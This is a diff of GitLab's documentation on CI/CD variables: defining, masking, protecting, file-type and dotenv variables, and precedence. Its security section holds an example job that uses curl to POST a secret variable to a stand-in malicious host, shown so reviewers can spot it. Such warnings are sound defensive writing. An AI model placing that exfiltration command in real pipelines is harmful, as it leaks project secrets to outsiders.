diff options
Diffstat (limited to 'doc/ci/variables/index.md')
| -rw-r--r-- | doc/ci/variables/index.md | 454 |
1 files changed, 249 insertions, 205 deletions
diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md index 5a1426b1356..ec5c6c240a6 100644 --- a/doc/ci/variables/index.md +++ b/doc/ci/variables/index.md @@ -13,20 +13,12 @@ CI/CD variables are a type of environment variable. You can use them to: - Store values you want to re-use. - Avoid hard-coding values in your `.gitlab-ci.yml` file. -You can use: - -- [Predefined CI/CD variables](#predefined-cicd-variables). -- [Variables defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). -- [Variables defined in project, group, or instance settings](#define-a-cicd-variable-in-the-ui). - You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) to execute scripts. Each shell has its own set of reserved variable names. -Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). - > For more information about advanced use of GitLab CI/CD: > > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Get to productivity faster with these [7 advanced GitLab CI workflow hacks](https://about.gitlab.com/webcast/7cicd-hacks/) @@ -37,97 +29,114 @@ Make sure each variable is defined for the [scope you want to use it in](where_v ## Predefined CI/CD variables GitLab CI/CD makes a set of [predefined CI/CD variables](predefined_variables.md) -available for use in pipeline configuration and job scripts. You can use predefined CI/CD variables -in your `.gitlab-ci.yml` without declaring them first. +available for use in pipeline configuration and job scripts. These variables contain +information about the job, pipeline, and other values you might need when the pipeline +is triggered or running. +You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. For example: ```yaml job1: stage: test script: - - echo "$CI_JOB_STAGE" + - echo "The job's stage is '$CI_JOB_STAGE'" ``` -The script in this example outputs the stage for the `job1` job, which is `test`. +The script in this example outputs `The job's stage is 'test'`. ## Define a CI/CD variable in the `.gitlab-ci.yml` file -To create a custom variable in the [`.gitlab-ci.yml`](../yaml/index.md#variables) file, -define the variable and value with `variables` keyword. +To create a CI/CD variable in the `.gitlab-ci.yml` file, define the variable and +value with the [`variables`](../yaml/index.md#variables) keyword. + +Variables saved in the `.gitlab-ci.yml` file are visible to all users with access to +the repository, and should store only non-sensitive project configuration. For example, +the URL of a database saved in a `DATABASE_URL` variable. Sensitive variables containing values +like secrets or keys should be [stored in project settings](#define-a-cicd-variable-in-the-ui). -You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file. -If the variable is at the top level, it's globally available and all jobs can use it. -If it's defined in a job, only that job can use it. +You can use `variables` in a job or at the top level of the `.gitlab-ci.yml` file. +If the variable is defined: + +- At the top level, it's globally available and all jobs can use it. +- In a job, only that job can use it. + +For example: ```yaml variables: - TEST_VAR: "All jobs can use this variable's value" + GLOBAL_VAR: "A global variable" job1: variables: - TEST_VAR_JOB: "Only job1 can use this variable's value" + JOB_VAR: "A job variable" script: - - echo "$TEST_VAR" and "$TEST_VAR_JOB" + - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'" + +job2: + script: + - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'" ``` -Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project -configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are -visible in the repository. Store sensitive variables containing values like secrets or keys -in project settings. +In this example: -Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md). +- `job1` outputs `Variables are 'A global variable' and 'A job variable'` +- `job2` outputs `Variables are 'A global variable' and ''` + +Use the [`value` and `description`](../yaml/index.md#variablesdescription) keywords +to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). + +### Skip global variables in a single job If you don't want globally defined variables to be available in a job, set `variables` to `{}`: ```yaml +variables: + GLOBAL_VAR: "A global variable" + job1: variables: {} script: - echo This job does not need any variables ``` -Use the [`value` and `description`](../yaml/index.md#variablesdescription) -keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) -for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). - ## Define a CI/CD variable in the UI -You can define CI/CD variables in the UI: +Sensitive variables like tokens or passwords should be stored in the settings in the UI, +not [in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). +Define CI/CD variables in the UI: -- For a project: - - [In the project's settings](#for-a-project). - - [With the API](../../api/project_level_variables.md). +- For a project [in the project's settings](#for-a-project). - For all projects in a group [in the group's setting](#for-a-group). - For all projects in a GitLab instance [in the instance's settings](#for-an-instance). -By default, pipelines from forked projects can't access CI/CD variables in the parent project. +Alternatively, these variables can be added by using the API: + +- [With the project-level variables API endpoint](../../api/project_level_variables.md). +- [With the group-level variables API endpoint](../../api/group_level_variables.md). +- [With the instance-level variables API endpoint](../../api/instance_level_ci_variables.md). + +By default, pipelines from forked projects can't access the CI/CD variables available to the parent project. If you [run a merge request pipeline in the parent project for a merge request from a fork](../pipelines/merge_request_pipelines.md#run-pipelines-in-the-parent-project), all variables become available to the pipeline. -Variables set in the GitLab UI are **not** passed down to [service containers](../docker/using_docker_images.md). -To set them, assign them to variables in the UI, then re-assign them in your `.gitlab-ci.yml`: +### For a project -```yaml -variables: - SA_PASSWORD: $SA_PASSWORD -``` +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. +> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/373289) in GitLab 15.9, projects can define a maximum of 8000 CI/CD variables. -### For a project +You can add CI/CD variables to a project's settings. -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, projects can define a maximum of 200 CI/CD variables. +Prerequisite: -You can add CI/CD variables to a project's settings. Only project members with the -Maintainer role -can add or update project CI/CD variables. To keep a CI/CD variable secret, put it -in the project settings, not in the `.gitlab-ci.yml` file. +- You must be a project member with the Maintainer role. To add or update variables in the project settings: 1. Go to your project's **Settings > CI/CD** and expand the **Variables** section. 1. Select **Add variable** and fill in the details: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). @@ -145,20 +154,18 @@ or in [job scripts](#use-cicd-variables-in-job-scripts). > - Support for environment scopes [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) in GitLab Premium 13.11 > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362227) in GitLab 15.7, groups can define a maximum of 200 CI/CD variables. +> - [Updated](https://gitlab.com/gitlab-org/gitlab/-/issues/373289) in GitLab 15.9, groups can define a maximum of 30000 CI/CD variables. -To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. -You must be a group owner. +You can make a CI/CD variable available to all projects in a group. -Use group variables to store secrets like passwords, SSH keys, and credentials, if you: +Prerequisite: -- Do not use an external key store. -- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). +- You must be a group member with the Owner role. To add a group variable: 1. In the group, go to **Settings > CI/CD**. 1. Select **Add variable** and fill in the details: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: No limitations. - **Type**: `Variable` (default) or [`File`](#use-file-type-cicd-variables). @@ -178,17 +185,17 @@ are recursively inherited. > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. -To make a CI/CD variable available to all projects and groups in a GitLab instance, -add an instance CI/CD variable. You must have administrator access. +You can make a CI/CD variable available to all projects and groups in a GitLab instance. -You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). +Prerequisite: + +- You must have administrator access. To add an instance variable: 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Settings > CI/CD** and expand the **Variables** section. 1. Select **Add variable** and fill in the details: - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - **Value**: In [GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), the value is limited to 10,000 characters, but also bounded by any limits in the @@ -204,10 +211,8 @@ The instance variables that are available in a project are listed in the project ## CI/CD variable security -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables -and send them to a third party server regardless of the masked setting. If the pipeline -runs on a [protected branch](../../user/project/protected_branches.md) or -[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. +Code pushed to the `.gitlab-ci.yml` file could compromise your variables. Variables could +be accidentally exposed in a job log, or maliciously sent to a third party server. Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: @@ -219,11 +224,27 @@ Review the `.gitlab-ci.yml` file of imported projects before you add files or ru The following example shows malicious code in a `.gitlab-ci.yml` file: ```yaml -build: - script: +accidental-leak-job: + script: # Password exposed accidentally + - echo "This script logs into the DB with $USER $PASSWORD" + - db-login $USER $PASSWORD + +malicious-job: + script: # Secret exposed maliciously - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" ``` +To help reduce the risk of accidentally leaking secrets through scripts like in `accidental-leak-job`, +all variables containing sensitive information should be [masked in job logs](#mask-a-cicd-variable). +You can also [limit a variable to protected branches and tags only](#protect-a-cicd-variable). + +Alternatively, use the GitLab [integration with HashiCorp Vault](../secrets/index.md) +to store and retrieve secrets. + +Malicious scripts like in `malicious-job` must be caught during the review process. +Reviewers should never trigger a pipeline when they find code like this, because +malicious code can compromise both masked and protected variables. + Variable values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database. This data can only be read and decrypted with a valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is-lost). @@ -232,9 +253,20 @@ valid [secrets file](../../raketasks/backup_restore.md#when-the-secrets-file-is- > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330650) in GitLab 13.12, the `~` character can be used in masked variables. +WARNING: +Masking a CI/CD variable is not a guaranteed way to prevent malicious users from +accessing variable values. The masking feature is "best-effort" and there to +help when a variable is accidentally revealed. To make variables more secure, +consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) +to prevent commands such as `env`/`printenv` from printing secret variables. + You can mask a project, group, or instance CI/CD variable so the value of the variable does not display in job logs. +Prerequisite: + +- You must have the same role or access level as required to [define a CI/CD variable in the UI](#define-a-cicd-variable-in-the-ui). + To mask a variable: 1. In the project, group, or Admin Area, go to **Settings > CI/CD**. @@ -252,21 +284,13 @@ The value of the variable must: - The `@`, `:`, `.`, or `~` characters. - Not match the name of an existing predefined or custom CI/CD variable. -WARNING: -Masking a CI/CD variable is not a guaranteed way to prevent malicious users from -accessing variable values. The masking feature is "best-effort" and there to -help when a variable is accidentally revealed. To make variables more secure, -consider using [external secrets](../secrets/index.md) and [file type variables](#use-file-type-cicd-variables) -to prevent commands such as `env`/`printenv` from printing secret variables. - -Runner versions implement masking in different ways, some with technical -limitations. Below is a table of such limitations. +Different versions of [GitLab Runner](../runners/index.md) have different masking limitations: -| Version from | Version to | Limitations | -| ------------ | ---------- | ------ | -| v11.9.0 | v14.1.0 | Masking of large secrets (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | -| v14.2.0 | v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | -| v15.7.0 | | Potential for secrets to be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | +| Version | Limitations | +| ------------------- | ----------- | +| v14.1.0 and earlier | Masking of large secrets (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | +| v14.2.0 to v15.3.0 | The tail of a large secret (greater than 4 KiB) could potentially be [revealed](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/28128). No sensitive URL parameter masking. | +| v15.7.0 and later | Secrets could be revealed when `CI_DEBUG_SERVICES` is enabled. For details, read about [service container logging](../services/index.md#capturing-service-container-logs). | ### Protect a CI/CD variable @@ -276,11 +300,14 @@ or [protected tags](../../user/project/protected_tags.md). [Merged results pipelines](../pipelines/merged_results_pipelines.md), which run on a temporary merge commit, not a branch or tag, do not have access to these variables. +[Merge request pipelines](../pipelines/merge_request_pipelines.md), which do not use +a temporary merge commit, can access these variables if the branch is a protected branch. + +Prerequisite: -Pipelines that run directly on the merge request's source branch, with no added merge commit, can access -these variables if the source branch is a protected branch. +- You must have the same role or access level as required to [define a CI/CD variable in the UI](#define-a-cicd-variable-in-the-ui). -To mark a variable as protected: +To set a variable as protected: 1. Go to **Settings > CI/CD** in the project, group or instance Admin Area. 1. Expand the **Variables** section. @@ -293,36 +320,35 @@ The variable is available for all subsequent pipelines. ### Use file type CI/CD variables All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file -are `Variable` type. Project, group and instance CI/CD variables can be `Variable` -or `File` type. - -`Variable` type variables: +are "variable" type ([`variable_type` of `env_var` in the API](#define-a-cicd-variable-in-the-ui)). +Variable type variables: - Consist of a key and value pair. - Are made available in jobs as environment variables, with: - The CI/CD variable key as the environment variable name. - The CI/CD variable value as the environment variable value. -Use `File` type CI/CD variables for tools that need a file as input. - -`File` type variables: +Project, group, and instance CI/CD variables are "variable" type by default, but can +optionally be set as a "file" type ([`variable_type` of `file` in the API](#define-a-cicd-variable-in-the-ui)). +File type variables: -- Consist of a key, value and file. -- Are made available in jobs as environment variables, with +- Consist of a key, value, and file. +- Are made available in jobs as environment variables, with: - The CI/CD variable key as the environment variable name. - The CI/CD variable value saved to a temporary file. - The path to the temporary file as the environment variable value. -Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +Use file type CI/CD variables for tools that need a file as input. [The AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -use `File` type variables for configuration. +are both tools that use `File` type variables for configuration. -For example, if you have the following variables: +For example, if you are using `kubectl` with: -- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. -- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. +- A variable with a key of `KUBE_URL` and `https://example.com` as the value. +- A file type variable with a key of `KUBE_CA_PEM` and a certificate as the value. -Use the variables in a job script like this: +Pass `KUBE_URL` as a `--server` option, which accepts a variable, and pass `$KUBE_CA_PEM` +as a `--certificate-authority` option, which accepts a path to a file: ```shell kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" @@ -331,19 +357,27 @@ kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KU WARNING: Be careful when assigning the value of a file variable to another variable. The other variable takes the content of the file as its value, **not** the path to the file. -See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details. +[Issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) proposes to change this behavior. -An alternative to `File` type variables is to: +#### Use a `.gitlab-ci.yml` variable as a file type variable -- Read the value of a CI/CD variable (`variable` type). -- Save the value in a file. -- Use that file in your script. +You cannot set a CI/CD variable [defined in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file) +as a file type variable. If you have a tool that requires a file path as an input, +but you want to use a variable defined in the `.gitlab-ci.yml`: -```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +- Run a command that saves the value of the variable in a file. +- Use that file with your tool. + +For example: + +```yaml +variables: + SITE_URL: "https://example.gitlab.com" + +job: + script: + - echo "$SITE_URL" > "site-url.txt" + - mytool --url-file="site-url.txt" ``` ## Use CI/CD variables in job scripts @@ -368,7 +402,7 @@ job_name: ### With PowerShell To access variables in a Windows PowerShell environment, including environment -variables set by the system, prefix the variable name with (`$env:`) or (`$`): +variables set by the system, prefix the variable name with `$env:` or `$`: ```yaml job_name: @@ -389,8 +423,7 @@ job_name: ### With Windows Batch -To access CI/CD variables in Windows Batch, surround the variable -with `%`: +To access CI/CD variables in Windows Batch, surround the variable with `%`: ```yaml job_name: @@ -399,7 +432,7 @@ job_name: ``` You can also surround the variable with `!` for [delayed expansion](https://ss64.com/nt/delayedexpansion.html). -Delayed expansion might be needed for variables that contain white spaces or newlines. +Delayed expansion might be needed for variables that contain white spaces or newlines: ```yaml job_name: @@ -407,29 +440,43 @@ job_name: - echo !ERROR_MESSAGE! ``` +### In service containers + +[Service containers](../docker/using_docker_images.md) can use CI/CD variables, but +by default can only access [variables saved in the `.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file). + +Variables [set in the GitLab UI](#define-a-cicd-variable-in-the-ui) by default are not available to +service containers. To make a UI-defined variable available in a service container, +re-assign it in your `.gitlab-ci.yml`: + +```yaml +variables: + SA_PASSWORD_YAML_FILE: $SA_PASSWORD_UI +``` + ### Pass an environment variable to another job > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/22638) in GitLab 13.0. > - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/217834) in GitLab 13.1. -You can pass environment variables from one job to another job in a later stage -through variable inheritance. -These variables cannot be used as CI/CD variables to configure a pipeline, but -they can be used in job scripts. +You can create a new environment variables in a job, and pass it to another job +in a later stage. These variables cannot be used as CI/CD variables to configure a pipeline, +but they can be used in job scripts. + +To pass a job-created environment variable to other jobs: 1. In the job script, save the variable as a `.env` file. - The format of the file must be one variable definition per line. - - Each defined line must be of the form `VARIABLE_NAME=ANY VALUE HERE`. + - Each line must be formatted as: `VARIABLE_NAME=ANY VALUE HERE`. - Values can be wrapped in quotes, but cannot contain newline characters. 1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv) artifact. 1. Jobs in later stages can then [use the variable in scripts](#use-cicd-variables-in-job-scripts). -Inherited variables [take precedence](#cicd-variable-precedence) over -certain types of new variable definitions such as job defined variables. +For example: ```yaml -build: +build-job: stage: build script: - echo "BUILD_VARIABLE=value_from_build_job" >> build.env @@ -437,92 +484,95 @@ build: reports: dotenv: build.env -deploy: - stage: deploy - variables: - BUILD_VARIABLE: value_from_deploy_job +test-job: + stage: test script: - - echo "$BUILD_VARIABLE" # Output is: 'value_from_build_job' due to precedence - environment: production + - echo "$BUILD_VARIABLE" # Output is: 'value_from_build_job' ``` -The [`dependencies`](../yaml/index.md#dependencies) or -[`needs`](../yaml/index.md#needs) keywords can be used to control -which jobs receive inherited values. +Variables from `dotenv` reports [take precedence](#cicd-variable-precedence) over +certain types of new variable definitions such as job defined variables. + +You can also [pass `dotenv` variables to downstream pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) + +#### Control which jobs receive `dotenv` variables -To have no inherited dotenv environment variables, pass an empty `dependencies` or -`needs` list, or pass [`needs:artifacts`](../yaml/index.md#needsartifacts) as `false` +You can use the [`dependencies`](../yaml/index.md#dependencies) or [`needs`](../yaml/index.md#needs) +keywords to control which jobs receive the `dotenv` artifacts. + +To have no environment variables from a `dotenv` artifact: + +- Pass an empty `dependencies` or `needs` array. +- Pass [`needs:artifacts`](../yaml/index.md#needsartifacts) as `false`. +- Set `needs` to only list jobs that do not have a `dotenv` artifact. + +For example: ```yaml -build: +build-job1: stage: build script: - - echo "BUILD_VERSION=hello" >> build.env + - echo "BUILD_VERSION=v1.0.0" >> build.env artifacts: reports: dotenv: build.env -deploy_one: - stage: deploy +build-job2: + stage: build + needs: [] script: - - echo "$BUILD_VERSION" # Output is: 'hello' + - echo "This job has no dotenv artifacts" + +test-job1: + stage: test + script: + - echo "$BUILD_VERSION" # Output is: 'v1.0.0' dependencies: - build - environment: - name: customer1 - deployment_tier: production -deploy_two: - stage: deploy +test-job2: + stage: test script: - - echo "$BUILD_VERSION" # Output is empty + - echo "$BUILD_VERSION" # Output is '' dependencies: [] - environment: - name: customer2 - deployment_tier: production -deploy_three: - stage: deploy +test-job3: + stage: test script: - - echo "$BUILD_VERSION" # Output is: 'hello' + - echo "$BUILD_VERSION" # Output is: 'v1.0.0' needs: - - build - environment: - name: customer3 - deployment_tier: production + - build-job1 -deploy_four: - stage: deploy +test-job4: + stage: test script: - - echo "$BUILD_VERSION" # Output is: 'hello' + - echo "$BUILD_VERSION" # Output is: 'v1.0.0' needs: - job: build + job: build-job1 artifacts: true - environment: - name: customer4 - deployment_tier: production -deploy_five: +test-job5: stage: deploy script: - - echo "$BUILD_VERSION" # Output is empty + - echo "$BUILD_VERSION" # Output is '' needs: - job: build + job: build-job1 artifacts: false - environment: - name: customer5 - deployment_tier: production -``` -[Multi-project pipelines](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job) -can also inherit variables from their upstream pipelines. +test-job6: + stage: deploy + script: + - echo "$BUILD_VERSION" # Output is '' + needs: + - build-job2 +``` ### Store multiple values in one variable You cannot create a CI/CD variable that is an array of values, but you can use shell scripting techniques for similar behavior. -For example, you can store multiple variables separated by a space in a variable, +For example, you can store multiple values separated by a space in a variable, then loop through the values with a script: ```yaml @@ -552,7 +602,8 @@ job: ### Use the `$` character in CI/CD variables -If you do not want the `$` character interpreted as the start of a variable, use `$$` instead: +If you do not want the `$` character interpreted as the start of another variable, +use `$$` instead: ```yaml job: @@ -568,9 +619,14 @@ job: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/217309) in GitLab 15.7. Expanded variables treat values with the `$` character as a reference to another variable. -CI/CD variables are expanded by default. +CI/CD variables are expanded by default. To treat variables with a `$` character as raw strings, +disable variable expansion for the variable -To treat variables with a `$` character as raw strings, disable variable expansion for the variable: +Prerequisite: + +- You must have the same role or access level as required to [define a CI/CD variable in the UI](#define-a-cicd-variable-in-the-ui). + +To disable variable expansion for the variable: 1. In the project or group, go to **Settings > CI/CD**. 1. Expand the **Variables** section. @@ -586,10 +642,10 @@ which variables take precedence. The order of precedence for variables is (from highest to lowest): -1. These all have the same (highest) precedence: +1. These variables all have the same (highest) precedence: - [Trigger variables](../triggers/index.md#pass-cicd-variables-in-the-api-call). - [Scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule). - - [Manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually). + - [Manual pipeline run variables](../pipelines/index.md#run-a-pipeline-manually). - Variables added when [creating a pipeline with the API](../../api/pipelines.md#create-a-new-pipeline). 1. Project [variables](#for-a-project). 1. Group [variables](#for-a-group). If the same variable name exists in a @@ -597,14 +653,13 @@ The order of precedence for variables is (from highest to lowest): you have `Group > Subgroup 1 > Subgroup 2 > Project`, the variable defined in `Subgroup 2` takes precedence. 1. Instance [variables](#for-an-instance). -1. [Inherited variables](#pass-an-environment-variable-to-another-job). +1. [Variables from `dotenv` reports](#pass-an-environment-variable-to-another-job). 1. Variables defined in jobs in the `.gitlab-ci.yml` file. 1. Variables defined outside of jobs (globally) in the `.gitlab-ci.yml` file. 1. [Deployment variables](predefined_variables.md#deployment-variables). 1. [Predefined variables](predefined_variables.md). -In the following example, when the script in `job1` executes, the value of `API_TOKEN` is `secure`. -Variables defined in jobs have a higher precedence than variables defined globally. +For example: ```yaml variables: @@ -614,50 +669,40 @@ job1: variables: API_TOKEN: "secure" script: - - echo "The variable value is $API_TOKEN" + - echo "The variable is '$API_TOKEN'" ``` +In this example, `job1` outputs `The variable is 'secure'` because variables defined in jobs +have higher precedence than variables defined globally. + ### Override a defined CI/CD variable You can override the value of a variable when you: -1. [Run a pipeline manually](#override-a-variable-when-running-a-pipeline-manually) in the UI. -1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline). -1. Run a job manually in the UI. -1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). -1. Trigger a pipeline by using [the API](../triggers/index.md#pass-cicd-variables-in-the-api-call). -1. Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/downstream_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline) - or [by using variable inheritance](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job). - -The pipeline variables declared in these events take [priority over other variables](#cicd-variable-precedence). - -NOTE: -You should avoid overriding [predefined variables](predefined_variables.md), -as it can cause the pipeline to behave unexpectedly. - -### Override a variable when running a pipeline manually +- [Run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually) in the UI. +- Create a pipeline by using [the `pipelines` API endpoint](../../api/pipelines.md#create-a-new-pipeline). +- Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd). +- Trigger a pipeline by using [the `triggers` API endpoint](../triggers/index.md#pass-cicd-variables-in-the-api-call). +- Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/downstream_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline) + or [by using `dotenv` variables](../pipelines/downstream_pipelines.md#pass-dotenv-variables-created-in-a-job). -You can override the value of a CI/CD variable when you -[run a pipeline manually](../pipelines/index.md#run-a-pipeline-manually). - -1. Go to your project's **CI/CD > Pipelines** and select **Run pipeline**. -1. Choose the branch you want to run the pipeline for. -1. Input the variable and its value in the UI. +You should avoid overriding [predefined variables](predefined_variables.md), as it +can cause the pipeline to behave unexpectedly. ### Restrict who can override variables > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/295234) in GitLab 13.8. -You can grant permission to override variables to users with the Maintainer role only. When other users try to run a pipeline -with overridden variables, they receive the `Insufficient permissions to set pipeline variables` -error message. +You can limit the ability to override variables to only users with the Maintainer role. +When other users try to run a pipeline with overridden variables, they receive the +`Insufficient permissions to set pipeline variables` error message. + +Enable this feature by using [the projects API](../../api/projects.md#edit-project) +to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. If you [store your CI/CD configurations in a different repository](../../ci/pipelines/settings.md#specify-a-custom-cicd-configuration-file), use this setting for control over the environment the pipeline runs in. -You can enable this feature by using [the projects API](../../api/projects.md#edit-project) -to enable the `restrict_user_defined_variables` setting. The setting is `disabled` by default. - ## Related topics - You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables @@ -683,13 +728,12 @@ in Bash or `dir env:` in PowerShell. This exposes the values of **all** availabl variables, which can be a [security risk](#cicd-variable-security). [Masked variables](#mask-a-cicd-variable) display as `[masked]`. -For example: +For example, with Bash: ```yaml job_name: script: - export - # - 'dir env:' # Use this for PowerShell ``` Example job log output (truncated): @@ -733,7 +777,7 @@ Before you enable debug logging, make sure only team members can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline) with debug output before you make logs public again. -To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`: +To enable debug logging, set the `CI_DEBUG_TRACE` variable to `true`: ```yaml job_name: |